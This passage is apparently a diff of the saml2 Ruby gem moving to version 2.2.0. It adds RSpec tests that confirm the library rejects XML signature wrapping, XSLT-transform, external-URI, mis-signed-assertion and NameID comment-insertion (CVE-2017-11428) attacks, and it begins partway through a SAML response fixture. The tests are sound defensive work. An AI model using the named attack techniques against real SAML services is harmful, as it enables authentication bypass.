tReSKqtlemaEamgDLoYnnGVjFQ4/0EX4Ax2SjKNqwt+TgQykixfoo4GmCeFSSZnkoOEHUUWRDLqKK40AySnO8qA38g7fL+calsjqIcefy5Z5X1uybcFuif4IRvB6FpOMTPNj507cpCuqZw/sujVO+I00XD9VwuPT6TH9WerJp4Ye8J4HynADKsg6oJd61cqvQn33seNLIB/uA2U2uK/EY5c7m3I2VDgBDODbNZTng==</ds:X509Certificate>
|
37
|
+
</ds:X509Data>
|
38
|
+
</ds:KeyInfo>
|
39
|
+
</ds:Signature>
|
40
|
+
<saml:Subject>
|
41
|
+
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.com</saml:NameID>
|
42
|
+
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
|
43
|
+
<saml:SubjectConfirmationData NotOnOrAfter="2014-06-03T12:46:56Z" Recipient=""/>
|
44
|
+
</saml:SubjectConfirmation>
|
45
|
+
</saml:Subject>
|
46
|
+
<saml:Conditions NotBefore="2014-06-03T12:40:56Z" NotOnOrAfter="2014-06-03T12:46:56Z">
|
47
|
+
<saml:AudienceRestriction>
|
48
|
+
<saml:Audience/>
|
49
|
+
</saml:AudienceRestriction>
|
50
|
+
</saml:Conditions>
|
51
|
+
<saml:AuthnStatement AuthnInstant="2014-06-03T12:43:55Z" SessionNotOnOrAfter="2014-06-04T12:43:56Z" SessionIndex="_c01bb660-cd47-0131-de03-782bcb56fcaa">
|
52
|
+
<saml:AuthnContext>
|
53
|
+
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
|
54
|
+
</saml:AuthnContext>
|
55
|
+
</saml:AuthnStatement>
|
56
|
+
</saml:Assertion>
|
57
|
+
</samlp:Response>
|
data/spec/lib/attribute_spec.rb
CHANGED
@@ -94,4 +94,21 @@ XML
|
|
94
94
|
end
|
95
95
|
|
96
96
|
end
|
97
|
+
|
98
|
+
describe AttributeStatement do
|
99
|
+
describe "#to_h" do
|
100
|
+
it "works" do
|
101
|
+
attr_statement = Response.parse(fixture("response_with_attribute_signed.xml")).assertions.first.attribute_statements.first
|
102
|
+
expect(attr_statement.to_h).to eq('givenName' => 'cody')
|
103
|
+
expect(attr_statement.to_h(:name)).to eq("urn:oid:2.5.4.42" => 'cody')
|
104
|
+
end
|
105
|
+
|
106
|
+
it "infers friendly names if possible" do
|
107
|
+
attr_statement = Response.parse(fixture("test3-response.xml")).assertions.first.attribute_statements.first
|
108
|
+
expect(attr_statement.to_h).to eq({
|
109
|
+
'eduPersonAffiliation' => 'member',
|
110
|
+
'eduPersonPrincipalName' => 'student@example.edu'})
|
111
|
+
end
|
112
|
+
end
|
113
|
+
end
|
97
114
|
end
|
data/spec/lib/conditions_spec.rb
CHANGED
@@ -6,10 +6,10 @@ module SAML2
|
|
6
6
|
expect(Conditions.new.valid?).to eq true
|
7
7
|
end
|
8
8
|
|
9
|
-
it "should be
|
9
|
+
it "should be invalid with unknown condition" do
|
10
10
|
conditions = Conditions.new
|
11
11
|
conditions << Conditions::Condition.new
|
12
|
-
expect(conditions.valid?).to eq
|
12
|
+
expect(conditions.valid?).to eq false
|
13
13
|
end
|
14
14
|
|
15
15
|
it "should be valid with timestamps" do
|
data/spec/lib/response_spec.rb
CHANGED
@@ -2,7 +2,8 @@ require_relative '../spec_helper'
|
|
2
2
|
|
3
3
|
module SAML2
|
4
4
|
describe Response do
|
5
|
-
let(:
|
5
|
+
let(:sp_entity) { Entity.parse(fixture('service_provider.xml')) }
|
6
|
+
let(:sp) { sp_entity.roles.first }
|
6
7
|
|
7
8
|
let(:request) do
|
8
9
|
request = AuthnRequest.parse(fixture('authnrequest.xml'))
|
@@ -63,5 +64,213 @@ module SAML2
|
|
63
64
|
expect(response2.assertions.length).to eq 1
|
64
65
|
expect(response2.assertions.first.subject.name_id.id).to eq 'jacob'
|
65
66
|
end
|
67
|
+
|
68
|
+
it "doesn't validate a response with XSLT transforms" do
|
69
|
+
response = Response.parse(fixture("xslt-transform-response.xml"))
|
70
|
+
expect(response).to be_valid_schema
|
71
|
+
expect(response.assertions.first.valid_signature?(fingerprint: 'bc71f7bacb36011694405dd0e2beafcc069de45f')).to eq false
|
72
|
+
end
|
73
|
+
|
74
|
+
it "doesn't validate a response with external URI reference in the signature" do
|
75
|
+
response = Response.parse(fixture("external-uri-reference-response.xml"))
|
76
|
+
expect(response).to be_valid_schema
|
77
|
+
expect(response.assertions.first.valid_signature?(fingerprint: 'bc71f7bacb36011694405dd0e2beafcc069de45f')).to eq false
|
78
|
+
end
|
79
|
+
|
80
|
+
it "can decrypt an EncryptedAssertion" do
|
81
|
+
# verifiable on the command line with:
|
82
|
+
# xmlsec1 decrypt --privkey-pem privatekey.key response_with_encrypted_assertion.xml
|
83
|
+
response = Response.parse(fixture("response_with_encrypted_assertion.xml"))
|
84
|
+
expect(response.decrypt(fixture("privatekey.key"))).to eq true
|
85
|
+
expect(response.assertions.length).to eq 1
|
86
|
+
expect(response.assertions.first.subject.name_id.id).to eq 'jacob'
|
87
|
+
end
|
88
|
+
|
89
|
+
it "allows non-ascii characters in attributes" do
|
90
|
+
response = Response.parse(fixture("test6-response.xml"))
|
91
|
+
|
92
|
+
attributes = response.assertions.first.attribute_statements.first.to_h
|
93
|
+
expect(attributes['eduPersonAffiliation']).to eq 'member'
|
94
|
+
expect(attributes['givenName']).to eq 'Canvas'
|
95
|
+
expect(attributes['displayName']).to eq 'Canvas Üser'
|
96
|
+
end
|
97
|
+
|
98
|
+
# see CVE-2017-11428
|
99
|
+
it "returns the full content of the NameID, even if a comment-insertion attack allows it to still validate the signature" do
|
100
|
+
response = Response.parse(fixture("test7-response.xml"))
|
101
|
+
# this file is a copy of test6-response.xml, with a comment inserted into the NameID
|
102
|
+
|
103
|
+
# the signature is still valid (we have to set a weird verification time because the response
|
104
|
+
# was signed with an expired signature)
|
105
|
+
expect(response.validate_signature(fingerprint: 'afe71c28ef740bc87425be13a2263d37971da1f9',
|
106
|
+
verification_time: Time.parse("2007-07-14 12:01:34Z"))).to eq []
|
107
|
+
|
108
|
+
# the comment is ignored, but doesn't truncate the nameid
|
109
|
+
expect(response.assertions.first.subject.name_id.id).to eq 'testuser@example.com'
|
110
|
+
end
|
111
|
+
|
112
|
+
describe "#validate" do
|
113
|
+
let (:idp_entity) do
|
114
|
+
idp_entity = Entity.new("issuer")
|
115
|
+
idp = IdentityProvider.new
|
116
|
+
idp.keys << KeyDescriptor.new(fixture("certificate.pem"))
|
117
|
+
idp_entity.roles << idp
|
118
|
+
|
119
|
+
idp_entity
|
120
|
+
end
|
121
|
+
|
122
|
+
before do
|
123
|
+
sp.private_keys << OpenSSL::PKey::RSA.new(fixture("privatekey.key"))
|
124
|
+
end
|
125
|
+
|
126
|
+
it "succeeds" do
|
127
|
+
response = Response.parse(fixture("response_signed.xml"))
|
128
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
129
|
+
expect(response.errors).to eq []
|
130
|
+
end
|
131
|
+
|
132
|
+
it "checks the issuer" do
|
133
|
+
response = Response.parse(fixture("response_signed.xml"))
|
134
|
+
idp_entity.entity_id = 'someoneelse'
|
135
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
136
|
+
expect(response.errors).to eq ["received unexpected message from 'issuer'; expected it to be from 'someoneelse'"]
|
137
|
+
end
|
138
|
+
|
139
|
+
it "complains about old message" do
|
140
|
+
response = Response.parse(fixture("response_signed.xml"))
|
141
|
+
sp_entity.valid_response?(response, idp_entity)
|
142
|
+
expect(response.errors.length).to eq 1
|
143
|
+
expect(response.errors.first).to match (/not_on_or_after .* is earlier than/)
|
144
|
+
end
|
145
|
+
|
146
|
+
it "complains about mismatched audience restriction" do
|
147
|
+
response = Response.parse(fixture("response_signed.xml"))
|
148
|
+
sp_entity.entity_id = 'someoneelse'
|
149
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
150
|
+
expect(response.errors).to eq ["audience someoneelse not in allowed list of http://siteadmin.instructure.com/saml2"]
|
151
|
+
end
|
152
|
+
|
153
|
+
it "complains about no signature" do
|
154
|
+
response = Response.parse(fixture("response_with_encrypted_assertion.xml"))
|
155
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
156
|
+
expect(response.errors).to eq ["neither response nor assertion were signed"]
|
157
|
+
end
|
158
|
+
|
159
|
+
it "complains if the signature has been tampered with" do
|
160
|
+
response = Response.parse(fixture("response_tampered_signature.xml"))
|
161
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
162
|
+
expect(response.errors).to eq ["signature is invalid"]
|
163
|
+
end
|
164
|
+
|
165
|
+
it "complains if the trusted certificate isn't what signed the response" do
|
166
|
+
idp_entity.identity_providers.first.keys.clear
|
167
|
+
idp_entity.identity_providers.first.fingerprints << "afe71c28ef740bc87425be13a2263d37971da1f9"
|
168
|
+
|
169
|
+
response = Response.parse(fixture("response_tampered_certificate.xml"))
|
170
|
+
sp_entity.valid_response?(response, idp_entity,
|
171
|
+
verification_time: Time.parse('2015-02-12T22:51:30Z'),
|
172
|
+
allow_expired_certificate: true)
|
173
|
+
expect(response.errors).to eq ["signature is invalid"]
|
174
|
+
end
|
175
|
+
|
176
|
+
it "complains when we don't have any trusted keys" do
|
177
|
+
response = Response.parse(fixture("response_signed.xml"))
|
178
|
+
idp_entity.identity_providers.first.keys.clear
|
179
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
180
|
+
expect(response.errors).to eq ["could not find certificate to validate message"]
|
181
|
+
end
|
182
|
+
|
183
|
+
it "complains about a valid signature we don't trust" do
|
184
|
+
response = Response.parse(fixture("response_signed.xml"))
|
185
|
+
idp_entity.identity_providers.first.keys.clear
|
186
|
+
idp_entity.identity_providers.first.keys << KeyDescriptor.new(fixture("othercertificate.pem"))
|
187
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
188
|
+
expect(response.errors.length).to eq 1
|
189
|
+
expect(response.errors.first).to start_with('error occurred during signature verification')
|
190
|
+
end
|
191
|
+
|
192
|
+
it "validates signature by fingerprint" do
|
193
|
+
response = Response.parse(fixture("response_signed.xml"))
|
194
|
+
idp_entity.identity_providers.first.keys.clear
|
195
|
+
idp_entity.identity_providers.first.fingerprints << "1c:37:7d:30:c1:83:18:ea:20:8b:dc:d5:35:b6:16:85:17:58:f7:c9"
|
196
|
+
|
197
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
198
|
+
expect(response.errors).to eq []
|
199
|
+
end
|
200
|
+
|
201
|
+
it "complains when we don't have any trusted fingerprints" do
|
202
|
+
response = Response.parse(fixture("response_signed.xml"))
|
203
|
+
idp_entity.identity_providers.first.keys.clear
|
204
|
+
idp_entity.identity_providers.first.fingerprints << "1c:37:7d:30:c1:83:18:ea:20:8b:dc:d5:35:b6:16:85:17:58:f7:ca"
|
205
|
+
|
206
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-12T22:51:30Z'))
|
207
|
+
expect(response.errors).to eq ["no trusted certificate found"]
|
208
|
+
end
|
209
|
+
|
210
|
+
it "protects against xml signature wrapping attacks targeting nameid" do
|
211
|
+
response = Response.parse(fixture("xml_signature_wrapping_attack_response_nameid.xml"))
|
212
|
+
idp_entity.identity_providers.first.keys.clear
|
213
|
+
idp_entity.identity_providers.first.fingerprints << "afe71c28ef740bc87425be13a2263d37971da1f9"
|
214
|
+
|
215
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2012-08-03T20:07:16Z'))
|
216
|
+
expect(response.errors.length).to eq 1
|
217
|
+
expect(response.errors.first.to_s).to eq "5:0: ERROR: Element '{urn:oasis:names:tc:SAML:2.0:assertion}Assertion': This element is not expected. Expected is one of ( {http://www.w3.org/2000/09/xmldsig#}Signature, {urn:oasis:names:tc:SAML:2.0:protocol}Extensions, {urn:oasis:names:tc:SAML:2.0:protocol}Status )."
|
218
|
+
end
|
219
|
+
|
220
|
+
it "protects against xml signature wrapping attacks targeting attributes" do
|
221
|
+
response = Response.parse(fixture("xml_signature_wrapping_attack_response_attributes.xml"))
|
222
|
+
idp_entity.identity_providers.first.keys.clear
|
223
|
+
idp_entity.identity_providers.first.fingerprints << "afe71c28ef740bc87425be13a2263d37971da1f9"
|
224
|
+
|
225
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2012-08-03T20:07:16Z'))
|
226
|
+
expect(response.errors.length).to eq 1
|
227
|
+
expect(response.errors.first.to_s).to eq "30:0: ERROR: Element '{urn:oasis:names:tc:SAML:2.0:assertion}Subject': This element is not expected."
|
228
|
+
end
|
229
|
+
|
230
|
+
it "protects against xml signature wrapping attacks with duplicate IDs" do
|
231
|
+
response = Response.parse(fixture("xml_signature_wrapping_attack_duplicate_ids.xml"))
|
232
|
+
idp_entity.identity_providers.first.keys.clear
|
233
|
+
idp_entity.identity_providers.first.fingerprints << "7292914fc5bffa6f3fe1e43fd47c205395fecfa2"
|
234
|
+
|
235
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2014-02-01T13:48:10.831Z'))
|
236
|
+
expect(response.errors.length).to eq 1
|
237
|
+
expect(response.errors.first.to_s).to eq "1:0: ERROR: Element '{urn:oasis:names:tc:SAML:2.0:assertion}Assertion', attribute 'ID': 'pfx77d6c794-8295-f1c4-298e-c25ecae8046d' is not a valid value of the atomic type 'xs:ID'."
|
238
|
+
end
|
239
|
+
|
240
|
+
it "protects against additional mis-signed assertions" do
|
241
|
+
response = Response.parse(fixture("xml_missigned_assertion.xml"))
|
242
|
+
idp_entity.identity_providers.first.keys.clear
|
243
|
+
idp_entity.identity_providers.first.fingerprints << "c38e789fcfbbd4727bd8ff7fc365b44fc3596bda"
|
244
|
+
|
245
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse('2015-02-27T19:12:52Z'))
|
246
|
+
expect(response.errors.map(&:to_s)).to eq ["2:0: ERROR: Element '{http://www.w3.org/2000/09/xmldsig#}Signature': This element is not expected.",
|
247
|
+
"43:0: ERROR: Element '{http://www.w3.org/2000/09/xmldsig#}Signature': This element is not expected."]
|
248
|
+
end
|
249
|
+
|
250
|
+
it "errors on expired certificate" do
|
251
|
+
response = Response.parse(fixture("test6-response.xml"))
|
252
|
+
idp_entity.entity_id = 'http://simplesamlphp.dev/simplesaml/saml2/idp/metadata.php'
|
253
|
+
idp_entity.identity_providers.first.keys.clear
|
254
|
+
idp_entity.identity_providers.first.fingerprints << "afe71c28ef740bc87425be13a2263d37971da1f9"
|
255
|
+
|
256
|
+
sp_entity.valid_response?(response, idp_entity, verification_time: Time.parse("2012-08-03T20:07:15Z"))
|
257
|
+
expect(response.errors.length).to eq 1
|
258
|
+
expect(response.errors.first).to match(/certificate has expired/)
|
259
|
+
end
|
260
|
+
|
261
|
+
it "ignores expired certificate when requested" do
|
262
|
+
response = Response.parse(fixture("test6-response.xml"))
|
263
|
+
sp_entity.entity_id = 'http://shard-2.canvas.dev/saml2'
|
264
|
+
idp_entity.entity_id = 'http://simplesamlphp.dev/simplesaml/saml2/idp/metadata.php'
|
265
|
+
idp_entity.identity_providers.first.keys.clear
|
266
|
+
idp_entity.identity_providers.first.fingerprints << "afe71c28ef740bc87425be13a2263d37971da1f9"
|
267
|
+
|
268
|
+
sp_entity.valid_response?(response, idp_entity,
|
269
|
+
verification_time: Time.parse("2014-09-16T22:15:53Z"),
|
270
|
+
allow_expired_certificate: true)
|
271
|
+
expect(response.errors).to eq []
|
272
|
+
end
|
273
|
+
|
274
|
+
end
|
66
275
|
end
|
67
276
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: saml2
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 2.
|
4
|
+
version: 2.2.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Cody Cutrer
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2018-
|
11
|
+
date: 2018-04-04 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: nokogiri
|
@@ -184,11 +184,24 @@ files:
|
|
184
184
|
- spec/fixtures/authnrequest.xml
|
185
185
|
- spec/fixtures/certificate.pem
|
186
186
|
- spec/fixtures/entities.xml
|
187
|
+
- spec/fixtures/external-uri-reference-response.xml
|
187
188
|
- spec/fixtures/identity_provider.xml
|
189
|
+
- spec/fixtures/othercertificate.pem
|
188
190
|
- spec/fixtures/privatekey.key
|
189
191
|
- spec/fixtures/response_signed.xml
|
192
|
+
- spec/fixtures/response_tampered_certificate.xml
|
193
|
+
- spec/fixtures/response_tampered_signature.xml
|
190
194
|
- spec/fixtures/response_with_attribute_signed.xml
|
195
|
+
- spec/fixtures/response_with_encrypted_assertion.xml
|
191
196
|
- spec/fixtures/service_provider.xml
|
197
|
+
- spec/fixtures/test3-response.xml
|
198
|
+
- spec/fixtures/test6-response.xml
|
199
|
+
- spec/fixtures/test7-response.xml
|
200
|
+
- spec/fixtures/xml_missigned_assertion.xml
|
201
|
+
- spec/fixtures/xml_signature_wrapping_attack_duplicate_ids.xml
|
202
|
+
- spec/fixtures/xml_signature_wrapping_attack_response_attributes.xml
|
203
|
+
- spec/fixtures/xml_signature_wrapping_attack_response_nameid.xml
|
204
|
+
- spec/fixtures/xslt-transform-response.xml
|
192
205
|
- spec/lib/attribute_consuming_service_spec.rb
|
193
206
|
- spec/lib/attribute_spec.rb
|
194
207
|
- spec/lib/authn_request_spec.rb
|
@@ -242,12 +255,25 @@ test_files:
|
|
242
255
|
- spec/lib/service_provider_spec.rb
|
243
256
|
- spec/lib/identity_provider_spec.rb
|
244
257
|
- spec/lib/authn_request_spec.rb
|
258
|
+
- spec/fixtures/test3-response.xml
|
245
259
|
- spec/fixtures/service_provider.xml
|
246
260
|
- spec/fixtures/response_with_attribute_signed.xml
|
247
261
|
- spec/fixtures/response_signed.xml
|
262
|
+
- spec/fixtures/xml_signature_wrapping_attack_response_nameid.xml
|
263
|
+
- spec/fixtures/response_tampered_signature.xml
|
264
|
+
- spec/fixtures/xml_missigned_assertion.xml
|
248
265
|
- spec/fixtures/certificate.pem
|
249
266
|
- spec/fixtures/entities.xml
|
267
|
+
- spec/fixtures/xml_signature_wrapping_attack_duplicate_ids.xml
|
268
|
+
- spec/fixtures/othercertificate.pem
|
269
|
+
- spec/fixtures/xslt-transform-response.xml
|
270
|
+
- spec/fixtures/response_with_encrypted_assertion.xml
|
271
|
+
- spec/fixtures/external-uri-reference-response.xml
|
250
272
|
- spec/fixtures/authnrequest.xml
|
273
|
+
- spec/fixtures/xml_signature_wrapping_attack_response_attributes.xml
|
251
274
|
- spec/fixtures/FederationMetadata.xml
|
252
275
|
- spec/fixtures/identity_provider.xml
|
276
|
+
- spec/fixtures/response_tampered_certificate.xml
|
277
|
+
- spec/fixtures/test7-response.xml
|
278
|
+
- spec/fixtures/test6-response.xml
|
253
279
|
- spec/fixtures/privatekey.key
|